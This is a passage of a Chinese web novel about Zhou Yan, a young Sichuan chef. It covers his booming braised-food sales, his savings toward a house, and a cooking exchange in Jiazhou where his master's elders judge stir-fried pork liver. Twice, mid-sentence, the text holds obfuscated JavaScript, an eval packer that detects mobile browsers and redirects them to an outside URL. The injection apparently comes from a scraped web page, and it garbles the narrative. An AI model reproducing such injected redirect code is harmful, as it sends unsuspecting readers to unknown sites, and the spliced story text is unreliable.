但旁边放了一杆秤，客户要是怀疑缺斤少两可以当场复称，重量上少一钱，直接免单。 一开始客人们还排着队复称，可连着三天，一份都没出差错，素菜往往还能多出两三钱来，也就渐渐没什么人复称了。 老周同志“人型电子秤”之名，则在纺织厂彻底打响。 不称重，效率确实大幅提高。 老周同志愣是在没有增加人手的情况下，多卖了一百多斤卤素菜出去。 这一点，让周砚都大为震撼。 这饭店没了老周同志，那可真是要散啊。 看着周二娃饭店门口排着的长队，杨老三和朱峰蹲在路边一根接着一根抽烟，脸黑的跟锅底似的。 两个卤味摊上都挂着新招牌：卤素菜3角钱一斤！免费试吃！ 可依旧无人问津。 “这生意还啷个做？比他卖的便宜都干不过他！”杨老三叹气道。 “本来卤肉就卖不过，现在卤素菜一出来，更是彻底不用卖了，我昨天就卖了五块钱，本钱都不够。”朱峰也是挠头。 这段时间，他们俩可谓是机关算尽，计谋百出，降价、跟风、叫卖、试吃，啥办法都用上了。 就是这生意吧，却一天比一天差。 现在都不是挣多少钱的事了，而是每天要怎样才能把本钱卖出来。 “算球！不卖了！老子明天就把摊摊挪到石板桥头去，懒得在这里受他的鸟气！”杨老三把烟头丢地上，狠狠踩了一脚。 “你走我也走！在纺织厂门口硬是卖不了了。”朱峰也是啐了一口唾沫，再看了眼那三条长队，眼里除了羡慕还是羡慕。 这尼玛，一天得挣多少钱啊？！ 羡慕的鸡儿发紫！ 当初他们合起伙来想要把赵明辉排挤赶走，属实没想到有一天他们会被周砚把生意抢的精光，只能想办法另谋生路。 晚上还会有一更大章~ (本章完) 第158章 孔派与传承（6k二合一月票加更430） 相比于左右两个摊摊的冷清，赵明辉的甜皮鸭摊子还是有工人陆续来光顾，有买甜皮鸭的，也有买卤花生的。 今天星期六，甜皮鸭卖的不错，今天做的六只已经卖出四只。 “这两天卤花生没那么好卖了，比上个星期少了一半左右，这样下去，下个星期会不会卖的更少啊？”张秀琴把甜皮鸭打包好递给客人，带着几分忧虑道。 “没得事，周砚说了他不做鸭，我们只要安心把甜皮鸭做好就可以了。”赵明辉豁达地笑了笑：“再说了，昨天咱们也尝过了他做的卤素菜，味道确实巴适得板，我要是客人，我也买四毛钱一斤的卤藕和卤土豆，我们的卤花生还能卖得出去，就应该偷着笑了。” 说完，他看了眼一旁垂头丧气的杨老三和朱峰，脸上的笑容愈发灿烂：“看他们倒霉，比我多卖二十斤卤花生还高兴。” 张秀琴闻言也笑了，想到之前被联手打压的日子，同样有种出了口恶气的感觉。 …… “赵嬢嬢，明天真的不开门啊？我还说带朋友过来吃饭呢。” “是啊，我也约起朋友的，说好明天带她来吃藿香鲫鱼的，她最喜欢吃鱼了。” 饭店门口立着个公告牌，明天有事不开门，不接宴席预约，陆续有客人进门来求证。 “乖乖些，不好意思啊，明天周砚有事，所以开不了门。”赵铁英陪笑道歉，今天因为这事来问的客人不下十个，拒绝的都是生意啊。 可没办法啊，周砚说了明天中午要跟他师父去嘉州参加一个啥子厨师交流会，靠着他们三个臭皮匠也不顶事。 客人闻言也只得无奈叹气离去，周砚是周二娃饭店唯一的厨师，他有事，饭店肯定不开门。 晚上营业结束。 赵嬢嬢看着出门来的周砚好奇问道：“周砚，你们那个啥子厨师交流会是干啥子的？今天想要订餐的客人超过十五桌，都被我拒绝了呢。” “我师傅要带我去长见识，见见师叔祖，以前乐明饭店的主厨，嘉州名厨孔庆峰。”周砚笑着说道。 “拜师门啊，那确实挺重要的。”赵嬢嬢若有所思，叮嘱道：“那明天把新衣服穿起去嘛，不要丢了你师父的面子。” “要得。”周砚笑着应道。 …… 夜。 赵嬢嬢他们已经上楼休息。 周砚把钱清点完，在存款一栏郑重写上：4318.24元。 凭借着卤素菜和卤牛肉的畅销，这个星期的结余存款达到了2158.66元。 买房存款进度：43%！ 周砚忍不住搓手，越来越近了！ 这一天天不少挣，但也确实累。 硬汉老周同志忙完一天，也不跟他下棋了，泡了脚就上楼睡觉去了，这几天连钓鱼都没去，有点迷失在切不完的土豆和猪头肉里。 赵红嫂子也是肉眼可见的疲惫，下班的时候，眼里只有对周末放假的渴望。 整个饭店活力最充沛当属赵嬢嬢，晚上还要伺候周沫沫洗漱，给她唱儿歌哄她睡觉，总给人一种活力满满的感觉，无愧于铁娘子之名。 周砚胜在年轻，每天又有坚持运动，睡一觉第二天又活力满满。 对于赚钱这事吧，他可从来不觉得累。 缺钱又爱财，就是他没错了。 提着箱子上楼，把床底下一个更大的木箱子拉出来，掏出钥匙打开锁，把小箱子里按照一百总额一扎捆好的钱倒进大箱子。 角角钱居多，大团结都是算稀奇的。 可别小瞧这些角角钱。 一角能买两块搅搅糖，能让周沫沫开心一下午呢。 这一角一角的攒起来，很快就能买房。 箱子上锁，推回到床底下。 周砚爬上床，拿起床头还停留在第二页的《钢铁是怎么炼成的》，开始夜读： “保尔柯察金……” 书轻轻盖在脸上，周砚成功秒睡。 这大概就是保尔·柯察金的魅力吧。 长长的外国人名，看起来属实要更好睡一些。 以前周砚要是剪视频剪失眠了，就点开一本名为《奶爸的异界餐厅》的小说，基本上翻三页就睡着。 第二天天蒙蒙亮…… 小周同志爬起来拉开窗帘愣了一会，又躺回去睡了个回笼觉。 果然，不要干活周末才算是周末啊。 周砚一觉睡到九点才醒，起床换上新厨师服和新裤子，推开门，门口摆着一双皮鞋，正是他上次给老周同志买的那双。 犹豫了一下，周砚还是把脚上的解放鞋换成了皮鞋。 果然，西装裤搭上皮鞋，感觉立马不一样了。 手表戴在手上，想了想，又被他取了放在床头被子下。 衣服可以穿体面点，不给师父丢人。 但一个徒孙辈的，穿一身新，手上还戴块崭新的上海表，多少显得有些喧宾夺主。 周砚倒是无所谓，但得为师父考虑一二。 十一月的早上已经有几分冷意，不过二十岁的年轻人哪会怕冷，周砚下楼的时候，看都没看一眼挂在床边的夹克。 周沫沫今天起得比他还早，这会正端正坐在桌边吃煎的微微焦糊的面饼，瞧见周砚下楼来，就像看到了救星：“锅锅，我想吃面面~~” “你不是吃着饼吗，今天早上可不做面面。”周砚笑道：“怎么，妈做的饼不好吃啊？” “好吃，爱吃。”周沫沫张大嘴巴咬了一口，然后把手里的饼递向周砚，“锅锅，给，你也吃点。” “周沫沫，你把你自己的饼吃完！你锅锅我给他留在锅里的。”赵嬢嬢音量提高了三分，目光转向周砚，看着他脚上的皮鞋笑着点头，“果然皮鞋一穿，看着就舒服多了。你老汉钓鱼去了，他说把皮鞋借你穿。” “要得。”周砚点头，转进厨房把温热的煎饼端了出来，顺便打了一碟酸萝卜。 这煎饼看起来确实不太专业，厚，边沿还有点焦，但闻着有股蛋香，说明赵嬢嬢还是在面粉里加了鸡蛋的，这点好评。 裹上酸萝卜，一个酸萝卜卷就做好了，柔韧的面饼里裹着酸酸辣辣的萝卜，一口下去，倒也……别有滋味吧。 早上起来就能吃到老妈做的煎饼，好不好吃已经没那么重要了。 周沫沫见他吃的那么香，也是有样学样的往煎饼里夹了两片酸萝卜，卷起来咬了一口，眼睛顿时亮了起来：“酸酸的，好次！” 吃过早饭，周砚把菜刀磨快，踹进布包，推着自行车出门。 “有点冷，不穿个外套吗？”赵嬢嬢在后边问道。 “不用，骑车热得很。”周砚应了一声，跨上车已经蹬出去老远。 他在石板桥头和师父、郑强碰上头，并排往嘉州方向骑去。 “师父，今天去参加这个交流会有没有什么讲究？我们这一派和师叔祖他们那一派有没有啥子矛盾？今天我们是去撑场子还是砸场子啊？”路上，周砚朝着肖磊问道。 郑强本来埋头蹬着自行车，闻言也是连忙跟的近一些，支起耳朵认真听着。 “你讲些啥子？”肖磊看着他没好气地笑道：“厨师交流会，肯定是去交流厨艺的噻。” “那可不一定哦，同学会也不一定是去怀念青春嘛。”周砚笑道。 郑强插嘴道：“这倒是有道理，上个月我们小学同学会，据说拆散了三对，后头打的可凶了，还好我没参加。” 肖磊看了眼两人，不禁摇了摇头，“记到，你们俩都是第一回见师叔祖，见了人要喊，态度放尊重一些。 你们这个师叔祖年轻的时候也是个犟拐拐，跟你们师爷不是很合得来，有段时间更是因为收徒的事情闹得势同水火，对我和几位师兄一度非常不待见。” 瞧瞧，这瓜不就挖出来了吗！ 周砚眼睛一亮，好奇问道：“师父，这又是怎么一回事呢？” 郑强也是一脸八卦，跟周砚一左一右把肖磊夹在中间。 “这个说来就话长了……”肖磊沉吟，欲言又止，似乎不太乐意展开这个话题。 周砚忙道：“师父，那你就长话短说，说个前因后果，让我们心里有数嘛。” “对对对，免得我们说错话。”郑强疯狂点头。 肖磊闻言沉默了一会，车速渐渐慢了下来，开口道：“那就要从你们师爷孔怀风的老汉儿，也就是我们孔派的开山祖师孔瑞大师说起了。 孔瑞当年是川菜界的名厨，在总督府上当大厨，颇有名气，后来大清亡了，他就回到了嘉州，在乐明大饭店当主厨，一干就是三十年。 在这期间，你们师爷孔怀风和师叔祖孔庆峰相继拜入他名下学厨，学的是家传的手艺，以私授为主，孔派也是从这里开始开枝。 1945年，祖师爷去世，而你们师爷孔怀风已经继承了他的衣钵，成为了嘉州颇有名气的青年厨师，受聘为乐明饭店的厨师长，接替了他老汉儿的职位。 那时候的乐明饭店是嘉州城里鼎鼎有名的酒楼，和飞燕酒楼一时瑜亮，难分高下。 解放后，乐明饭店收归国有，成了接待上级领导和贵宾的主要场所，名厨数量、质量都是稳压飞燕酒楼一头。 我是1955年进的乐明饭店，家里实在是穷的揭不开锅了，一开始是负责打荷、端菜，做些零碎的杂务，有口饭吃我就多高兴。 后来乐明饭店响应省里号召，也要办烹饪培训班，让饭店后厨的大厨们教后厨的青年手艺。那个年代，大家的手艺多是家传的，都是个人吃饭的手艺，哪肯轻易拿出来教给别人。 这个时候你们师爷孔怀风站了出来，主动承担主讲的工作，准备授艺。因为这个事情，孔庆峰和他闹得相当难看，不想让他把家传的手艺拿出来公开讲授，领导都出面调停了好多回。 后来培训班还是开了起来，我从旁听开始，渐渐展露出不错的天赋，最后被你们师爷收为了关门弟子。 那会在后厨，我们四师兄弟没少遭你们师叔祖的白眼，犯了错稍不注意就是一顿骂，比你们师爷都凶。” “那这个师叔祖格局不是很大哦，蓉城餐厅和荣乐园的大爷们，都是一起编教材、出书，培训的青年厨师都是论期的，只要踏实肯学，他们都乐意教。”郑强撇撇嘴，“我在蓉城餐厅的时候，虽然主要跟着师父学厨，但是其他大爷也会提点我，我师父给其他厨师上课也是从来没有保留，我都是跟着上课的。” 周砚闻言倒是更惊讶于师爷孔怀风的高风亮节，孔派家传的手艺始于始祖的父亲，他继承之后，却愿意授课传给更多的青年厨师，这等觉悟和宽阔的胸襟，令人钦佩。 周砚自认做不到，至少当下的他，还做不到把自己的菜谱毫无保留地公之于众。 他……或许更接近于孔庆峰。 家传的手艺，自然先想到的是自己家里人。 比如他把跷脚牛肉的配方和做法交给了周杰和周海，让他们传承下去，靠着这门手艺安身立命，把生活过得更好。 哪怕何志远使出三寸不烂之舌，以上《四川烹饪》杂志封面诱惑，他依然不为所动。 所以，他是自私的。 当不成大师。 站在相同的立场上，自然也不配去指责孔庆峰。 可如果没有孔怀风这样无私的大师，那他师父、郑强的师父，可能这辈子都无法在厨师这一行当中登堂**，获得如今的成就。 他曾采访过几位年长的川菜大师，都提到了荣乐园，作为蓉城饮食公司的重要技术培训基地，培养出一批优秀川菜厨师，被誉为“川菜的黄埔军校”。 那时候的川菜大师们授课，是真把自己的技艺拿出来传授给青年厨师的，你只要有悟性，又肯努力，就能学到真本事。 当时周砚只当听个趣闻，作为视频的补充，并未放在心上。 可从师父嘴里听到这事，正在经历这个时代，感受就有些不同了。 川菜的传承以及发扬光大，靠的不正是这批无私奉献，打破家传私授传统的大师们吗？ 肖磊笑着摇头：“当年我也觉得师叔差点格局，但后来想想倒也能够理解，孔派姓孔，本来就是他们孔家家传的手艺，一个家族安身立命的资本，一代代传承下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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郑强不笑了，嘴巴微颤，苦着脸道：“师叔，你下回能不能先说结论啊？这不是坑我吗……” 周砚闻言忍不住笑了，看着郑强揶揄道：“郑师兄，师伯下次回来，可能会好好关爱你啊。” “使不得，使不得啊师弟。”郑强连忙道：“今天这话你就当没听到啊，回头师兄请你喝酒。” 他师父虽然不会开除他，但亲表叔抽起他来简直毫无心理压力，他都三十了，还被他拿鞋抽的满街跑。 周砚咧嘴笑：“你放心，我的嘴包不牢的。” “好兄弟。” “啊？你不对劲！” 三人一路说说笑笑，骑车来到了老乐明饭店。 原来的招牌已经摘了，现在挂的是《嘉州饮食公司技术培训基地》的牌子。 “黄叔。”肖磊熟络的和看门大爷打了个招呼，领着周砚和郑强把自行车推进院里。 “这里就是以前的乐明饭店的，原来这一片平房都是，有雅座和包厢，后来因为太过破旧，就搬到了现在的乐明饭店去，两层砖木结构的楼房，装潢升级，酒席摆起也更大气。”把自行车停在院里，肖磊一边带着他们四处转，一边给他们介绍道：“这边闲置之后，改造成了技术培训基地，专门用来培训嘉州本地的青年厨师。” “师父，当年你就是在这里学的厨？”周砚问道。 “对，十五岁我就来了这里，后来跟着你师爷一起去了纺织厂食堂，一呆就是二十多年。 当时你师爷待了三年就被调回了乐明饭店，我只能两头跑，一边在厂食堂后厨做大锅饭，闲暇时间就来找你们师爷继续学手艺。 那时候还买不起自行车，工资又低，全靠两条腿来回，一走就是两个多小时。 我最期待的就是周六，晚上那顿饭一做好，我就往嘉州走，天擦黑前能到乐明饭店的宿舍，你师娘晓得我要来，还会给我留饭。 吃完我就开始练颠锅、刀工，师父靠在院角的躺椅上，时不时提点我两句，要是讲了三道还做不好，他就会抓起放在一旁的鸡毛掸子抽我。 当然，我也不傻，他撵我就跑，等他撵累了我再凑过去，这时候师父的气也消了大半了，鸡毛掸子落在身上不痛不痒。 我还会配合的喊两声，师娘看不下去了，就会出来护着我，说我还是个小娃娃，反倒把师父骂一顿……” 说起这段经历，肖磊语气平和，脸上带着盈盈笑意。 突然，他脚步一顿，看着院角轻叹了一口气：“躺椅搬走了，我也不是小娃娃了。” 周砚和郑强都沉默了。 周砚看着墙角，秋风吹拂着几片落叶飘零。 他似乎看到了墙角躺椅上坐着的那位老厨子，正笑吟吟地看着他们。 “肖磊，你来了！”一道声音打破了沉默。 一个穿着厨师服的国字脸中年男人快步走来，厨师服的胸口处绣着“乐明饭店”四个字，脸上带着笑容。 “国栋师兄。”肖磊快走两步迎了上去，笑着和他握手，“好久不见了，师叔最近身体好不？” 孔国栋笑着道：“还可以，老爷子精神好得很，现在天天早上去河边钓半天鱼，再不慌不忙的来基地，他的课都排在下午，隔一天上一次。” 他的目光落在了周砚和郑强身上，笑着问道：“这两位是你的徒弟？” “这是你们孔国栋孔师伯，我师叔的得意门生。”肖磊先介绍孔国栋。 周砚和郑强连忙恭敬：“孔师伯。” 肖磊又给分别介绍道： “这位是郑强，运良师兄的徒弟，从蓉城餐厅回来，最近跟我一起做乡厨。” “这位是周砚，我的徒儿，在苏稽自己开了个饭店，生意还不错。” 孔国栋笑着和两人握了握手：“你们好，你们好，都是我们孔派的得意门生啊。” “运良师兄因为工作太忙没来成，今天早上我师父还念起这事，郑强作为运良师兄的徒儿能来，师父肯定高兴的很。”孔国栋看着郑强说道。 “我师父也经常说起师叔祖。”郑强连忙把腰杆都挺直了几分，生怕给师父丢脸。 “这位师侄真是一表人才，看起来年龄还很小嘛，就是肖磊师弟正式收的第一个徒弟吧？都能自己开饭店了，天赋肯定不错噻。”孔国栋看着周砚也是一脸赞赏。 “师伯过誉了。”周砚微笑道。 师父说孔家后人，未成大器，但这位孔师伯的说话水平，那可真是又高又硬啊。 不简单呢。 (本章完) 第159章 跑得落，马脑壳！ 孔国栋带着众人穿过小院，直奔后厨而去。 原乐明饭店的后厨就很大，改造之后又新建了两排灶台，可同时容纳二十多位厨师一起操作学习。 这会已经有一口灶前围满了人，掌勺的是个圆脸中年男人，微寒的初冬季节，穿着一件轻薄的厨师服，额头上却满是汗水。 灶的另一边，站着三位老者，中间那位穿着厨师服，一头银发已经有些稀疏，将周围的头发往中间梳，倔强的试图盖住地中海。 平视的话，应该还算体面。 可周砚比他高了半个头，从他的角度看，更像是一个底面光滑的——鸟巢。 左边那个穿着一身黑色唐装，身材发福，背着手，看着颇为慈祥。 右边那个穿着一身崭新的靛蓝色中山装，五扣四袋，熨烫的板板正正，表情有点严肃。 旁边围着的中青年厨师有七八位，应该都是徒子徒孙。 “中间那位就是你们师叔祖孔庆峰，左边那位是秦坤秦大爷，一级厨师，也是从乐明饭店退休的。右边那位叫**才，飞燕酒楼以前的厨师长，现在飞燕酒楼的厨师长李老三是他的徒弟。”肖磊脚步慢了一步，给周砚和郑强低声介绍道：“旁边那些，都是你师叔这些年教出来的优秀徒弟和徒孙，年纪大的喊师叔，年纪小的喊师兄，不会出太大的差错。” 肖磊和郑强点头，先把人给认齐。 这应该就是当下嘉州第一档的名厨，能做宴席的那种。 当然，要论单项手艺，民间卧虎藏龙。 “钟勇在炒火爆猪肝，这是今天的交流菜，主要考校火候，老爷子一早就让我去菜市场买了五斤猪肝回来，今天大家都有机会上手试试。”孔国栋笑着和三人解释道，带着三人上前。 说起火爆猪肝，周砚三人的表情都有些微妙。 最近肖磊天天来饭店练习的正是火爆猪肝，每天炒几十份，强度相当高。 进度条卡在98%两天了，只差临门一脚。 周砚他们走到灶台前的时候，火爆猪肝已经出锅，热气腾腾一盘摆在灶台上。 孔庆峰眉头一皱，声音提高了几分：“钟勇啊钟勇，你这水平下降的有点多啊，这两年在厨房是不是天天操起个手指挥徒弟干活？ 你看看你切的啥子猪肝哦，一块大一块小，一块厚一块薄，这样下锅时间怎么算？要么薄的炒老了，要么厚的炒不熟。” “这是火爆菜，我都不晓得你啷个炒出这么多水来，火力都不敢加，还叫火爆菜吗？汤汤水水的，看着一点食欲都没得。” “筷子老子都懒得递，炒老球！” 钟勇面红耳赤，低着脑袋嗫嗫道：“师父，现在我主要做烧菜和凉菜，火爆猪肝我一年炒不到一回，当年学厨的时候，也确实没有好好学，献丑了。” “坟坝里拉二胡——给老子鬼扯！你烧菜就不讲刀工和火候了吗？”孔庆峰翻了个白眼，“那里有两斤牛腩，等会你来负责烧，我倒要看看你烧菜的手艺退化了没得，要是也这么菜，看老子不收拾你。” 围观众人纷纷笑了，师门长辈骂人，只要不骂在自己头上，那就尽管笑。 气氛一下子变得欢快起来。 钟勇抬起头来，拍着胸脯自信满满道：“师父你放心！牛腩烧土豆是我的拿手好菜，绝对没问题！” “莫要叫唤，去把砧板和锅刷了，站旁边看看师兄弟们是怎么炒火爆猪肝的。”孔庆峰摆摆手。 “师父，肖磊和两位师侄来了。”孔国栋这才开口。 “师叔，好久不见了。”肖磊带着周砚和郑强上前，笑着说道。 孔庆峰脸上露出了笑容，握住了肖磊的手道：“石头啊，是有大半年没见到你了，家里都好吗？两个娃娃上初中了吧？” “一个读初二，一个下半年都上高一了。”肖磊笑着应道，然后给孔庆峰介绍道：“这个是运良的徒弟郑强，这个是周砚，我徒弟，” “师叔祖。”周砚和郑强恭敬喊道。 “运良说忙得脚板翻起跑，来不了，就派你这个娃娃来啊？”孔庆峰看着郑强笑道。 “蓉城餐厅生意好的批爆，我师父确实忙得很，走不脱，还望师叔祖见谅。”郑强忙道。 “忙点好，说明还能炒的上菜，手艺没落下。”孔庆峰笑着点头，转而看向了周砚，上下这么一打量，笑道：“石头，你这个徒弟，倒是长得像个明星一样，不像个厨师。” 众人正打量着周砚和郑强，闻言纷纷笑着调侃： “还真是，肖师兄这个徒弟，长得相当阳光俊朗，像电影明星。” “今天来见师门，倒是相当重视，还换了身新衣服、新皮鞋来，是有心的。” 孔庆峰看着周砚道：“今年好多岁了？跟你师父学了有两三年了吧，我之前听他说起过。” “今年二十，跟师父学了有两年半多了。”周砚微笑应道。 “要得，看你这小臂肌肉，还有手上的老茧，说明平时练的够勤快，没偷懒。”孔庆峰点点头。 “师父太严格，不敢偷懒。”周砚笑道。 “肖师兄。” 众人纷纷和肖磊打招呼。 肖磊也笑着回应，给周砚和郑强介绍了一圈人，先把脸给认熟了。 “师弟，你都记住谁是谁了吗？”郑强小声问道。 “差不多。”周砚点头。 郑强挠头：“我靠，我脸盲，刚刚光顾着点头了，名字一个没记住。” 周砚笑道：“没得事，年长的叫师叔，年轻的叫师兄，包没错的。” “有道理。”郑强点头，松了口气。 “来嘛，下一个王勉，火爆猪肝当年也算你的拿手菜，看看现在手头还有几分手艺。”孔庆峰开口道。 “要得师父。”人群里走出一个敦实的中年男人应了一声，从包里取出自己的菜刀，从旁边的盆里割下一块猪肝放在砧板上，菜刀刷刷切着，猪肝立马被切成了薄厚均匀的片。 孔庆峰微微点头，开口道：“看嘛，这就是基本功，用刀要劲、稳、准，要干净利落，切出来的猪肝就是这样薄厚均匀的。厨师的刀工，全靠平日勤学苦练，没得任何捷径可走。” 众人纷纷点头。 周砚在旁瞧着，不愧是老师傅，这刀工确实极好，比先前那位师叔好太多了。 猪肝切完，开始调味，料酒、盐巴……调料一样样下入盆里，最后抓一小把淀粉勾个薄芡。 孔庆峰在旁看得连连点头。 果然是一派的手艺，配料、做法基本一致，就是这芡粉勾的，周砚觉得厚了点。 起锅烧油，王勉先看了眼灶下，让徒弟添了一根柴火，油温升高下入猪肝，用瓢快速推散，再下入葱段和辣椒段，快速翻炒出锅。 一道干爽油润的火爆猪肝就装盘了。 热气腾腾而起，香气扑鼻而来。 周砚看了一眼：【一份相当不错的火爆猪肝】 “看，这火爆猪肝才像模像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200279|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样嘛，有油没汤，表面油润干爽，香气扑鼻。”孔庆峰称赞道，拿起筷子夹了一块猪肝喂到嘴里，嚼了嚼点头道：“嗯，不错，多细嫩的，火候也控得可以。就是这调味吧，差了一丁点辣气，细细品味有点膻味，腌的时候可以再挼的更到位一些。” “要得，师父，受教了。”王勉点头，若有所思。 秦坤和**才也是拿了筷子尝了尝。 “可以，有锅气，嫩但是也熟了，火候把控还是到位的，不过调味上确实还有点上升空间。”秦坤点点头，“这比外面那些川菜馆子，已经好太多了，二级水平还是稳妥的。” **才放下筷子道：“我觉得芡厚了点，所以味道有点没进去，浮于表面，膻味才没完全压得住。下次芡粉的量减三分之一，勾的薄一点试看。” “两位大爷说的是，我回去再练练。”王勉说道，神情恭敬。 孔庆峰说道：“来嘛，你们也尝尝看，说说自己的看法，也和几位大爷讲的互相印证，这样进步才快。” 众人拿了筷子，纷纷上前品尝。 周砚尝了一块，若有所思，老辈子是有点东西啊！ 说的都在点上。 这火爆猪肝炒的确实不错，细嫩油润，但味道在面上，导致最后的回味有一点淡淡的膻味。 但这是只吃一块，且从厨师的角度细细去品味得出的结果。 若是摆上餐桌，客人一块猪肝一口米饭，或是一块猪肝一口酒，只会觉得脆嫩爽滑，味道不错。 所以综合来说，这算是一道相当不错的火爆猪肝。 和他师父做的有一定差距。 不如他师父。 王勉打了个样，后面接着几位师叔炒的火爆猪肝都还行。 但到了徒孙这一辈，场面就开始渐渐失控了。 “你切的啥子样式？比你仙人板板都要厚了！” “天菩萨！你这是水煮猪肝吗？” “火爆火爆！不是让你做炭火猪肝，土灶你都能烧起火来，老子真想给你一耳屎！” 孔庆峰还没开口，他们自己的师父就已经暴跳如雷，恨铁不成钢。 小辈低着脑袋听训，不敢吱声，毕竟今天出来丢的不是自己面子，是师父的面子，师父气愤也能理解。 “还好我师父今天没来。”郑强松了口气，小声嘀咕道。 “没事，我师父就是你师父，等会让他来骂。”周砚宽慰道。 郑强眼睛一瞪，看了眼嘴角上扬的肖磊，“算球！我也不是非得要师父的。” 相反，孔庆峰和另外两位大爷对小辈倒是颇为宽容，心平气和的指点，顺便把他们师父再阴阳怪气的说两句。 “石头，你来打个板嘛，当年我师兄的火爆猪肝和火爆腰花炒的那叫一绝，嘉州第一嫩的美名，至今无人超越。”孔庆峰看向了肖磊，笑着道：“我看看，你得了几分真传。” 众人的目光也是纷纷向肖磊看过来。 “这就剩一份猪肝，我就不献丑了。”肖磊笑着说道：“让周砚给大家炒一份，请三位大爷还有各位师兄弟给他点评一二，年轻人嘛，这种机会太难得了。” 众人闻言纷纷看向周砚。 特别是先前被训斥的小辈们，更是纷纷向周砚投来了怜悯的眼神。 跑得落，马脑壳！ 该骂还是要遭骂！ 长得帅也没得用。 厨师嘛，还是要手上见功夫。 (本章完) 第160章 这就是当天才师父的感觉吗？（求月 周砚属实没想到师父会把锅甩给他，他还想看师父装逼，给自己长长脸呢。 没想到啊，师父也是这么想的。 没办法，气氛都到这了，他也只能笑着面对。 从包里抽出菜刀，周砚上前一步拱了拱手道：“各位大爷，师叔伯，师兄们，献丑了。” “整嘛，我看看你学了两年半，刀工整明白没有。”孔庆峰点点头道。 周砚先把手和菜刀洗了，从一旁的盆里取出最后一块猪肝。 这块猪肝是被割了一刀剩下的，靠近中间的部位，筋膜和血管都有些多，切起来最是麻烦。 众人纷纷围了过来，准备看周砚如何处理。 就连先前被训的跟孙子一样的徒孙们，纷纷挤到前排来，满脸期待。 这师弟长得帅，年纪最小，学厨才两年半也是最短的，讲道理厨艺应该也是最菜的吧？ 厨师比的就是厨艺。 只要不是全场最菜的，那就不算最丢人，回去都能少遭一顿骂。 可怜的小师弟啊，今天注定是要成为他们的垫背。 师兄们的脸上，已经流露出怜悯之色。 肖磊站在一旁，气定神闲地背着手，比三位大爷看着都悠闲自在。 郑强站在他身旁，表情有些微妙。 他把这辈子的倒霉事都想了一遍，才把死嘴压住。 还得是师叔啊，谁又知道其实周砚炒的火爆猪肝还在肖师叔之上呢？ 甚至这段时间，他天天上饭店找周师请教如何炒好火爆猪肝，经常被训得跟孙子一样。 今天，却能轻飘飘的说出一句：最后一份猪肝，把机会留给徒儿。 可真行啊。 周砚把猪肝放在砧板上，先左右翻看了一下纹理，眉头微皱。 这猪肝长得可真糟糕，一群厨师挑剩下的，筋筋缠缠不少，平时在他后厨，这都是不要的边角料。 孔庆峰手里端着盖碗准备喝口茶水，看出了他的为难，笑着开口：“没得事，你随便切……” 他的话还没说完，周砚已经动刀了。 菜刀在他手里翻飞，快、准、稳，且相当干净利落！ 一片片薄厚均匀的猪肝落在砧板上，切的过程中，精准的把筋膜和血管切分出来，摆在砧板的另一边。 一会功夫，一块满是筋筋缠缠的猪肝，就被切分好了。 一边是薄厚均匀的猪肝片，一边是剔的干干净净的筋膜和血管。 现场顿时安静了下来。 挤到前排的师兄们，皆是瞪大了眼睛。 咕噜。 不知谁咽了一声口水，超大声。 “好刀工！”孔庆峰手里的杯盖往茶碗上一盖，忍不住称赞道。 **才也是连连点头：“硬是不错，一刀不停，愣是一丝筋膜都没有切进猪肝里头，刀工相当娴熟。” “学厨两年半刀工就这么扎实！这娃娃平时肯定没少下苦功夫。”秦坤也是赞叹道。 三位大爷接连开口称赞，看着周砚的目光满是赞赏之色。 师叔伯们脸上挂不住了，越想越气，又把凑到跟前的弟子骂了一顿： “你看看人家，学厨两年半就能把猪肝切成这个样子，你说你这十年学了些啥子？” “瞧瞧人家这筋膜挑的！猪肝还能切成如此大小薄厚均匀，你挑了块那么好的猪肝，切的鬼迷日眼的！” 徒弟们：？？？ 不是，师弟，你耍我们啊？ “师父，你切的也没他的好嘛……”有个不服气的声音响起。 “老子还用得着你说！回去洗一个月的厨房。” “师父，我错了！” 肖磊虽努力克制，可嘴角已经开始压不住了。 周砚倒是气定神闲，他掌握的是完美火爆猪肝做法，猪肝落到他手上，不管长成什么样，他都有办法切成完美的摸样。 这虽不是规则，但已经接近规则。 刻在肌肉记忆里的能力。 切好的猪肝，先过一道冷水，冲去多余的血沫。 这一道工序，先前的厨师中有人做，也有人没做。 做了的，最后成品基本都汤汤水水，被骂的狗血淋头。 所以看到周砚过水，不少师兄都松了口气。 看来这位师弟的刀工虽然好，但应该还没有好好学炒菜。 三位大爷没开口，饶有兴致地看着周砚做事。 学厨两年半，能把刀工练成这样，在他们看来已经相当不错，其他方面不做过分要求。 有这等恒心毅力，日后定然是不会差的。 冷井水冲了两道，水变得清澈了，周砚把猪肝倒入竹筛，轻轻挤压抖动，将表面的水分筛去绝大部分，并用一旁备着的干净纱布再过了一道，吸干表面水分。 整个过程中，他的动作轻柔但利落，柔软的猪肝未受到丝毫损伤，猪肝表面的水分弄干后，开始加入葱、姜、料酒去腥。 这时他才开始切青椒、干辣椒、葱白、蒜片，抓了一小把花椒，一勺豆瓣切细，装在盘中备用。 整个过程有条不紊，看得出来一切都在他的掌控之中。 孔庆峰和秦坤对了一下眼神，同时点了点头。 “师弟，我来帮你烧火。”郑强凑到前边来，拉开灶门看了一眼，塞了一块木头进去，盖上猛拉了两下风箱，火焰立马呼呼冲了起来。 “谢了，郑师兄。”周砚笑着说了一声，把锅里的热水舀了，待到水汽蒸干，锅底烧热，先加一勺菜籽油，再来半勺猪油。 两种油混合，很快交融在一起，油温渐渐升高。 周砚不慌不忙的调了个芡，把猪肝表面裹上一层薄芡，厚度比先前所有厨师调的都要更薄，几乎只是面上盖了薄薄一层。 三位大爷都下意识地往前凑了半步，盯着周砚的动作瞧着。 油温合适，周砚将盆中猪肝倒下，用锅瓢快速滑散。 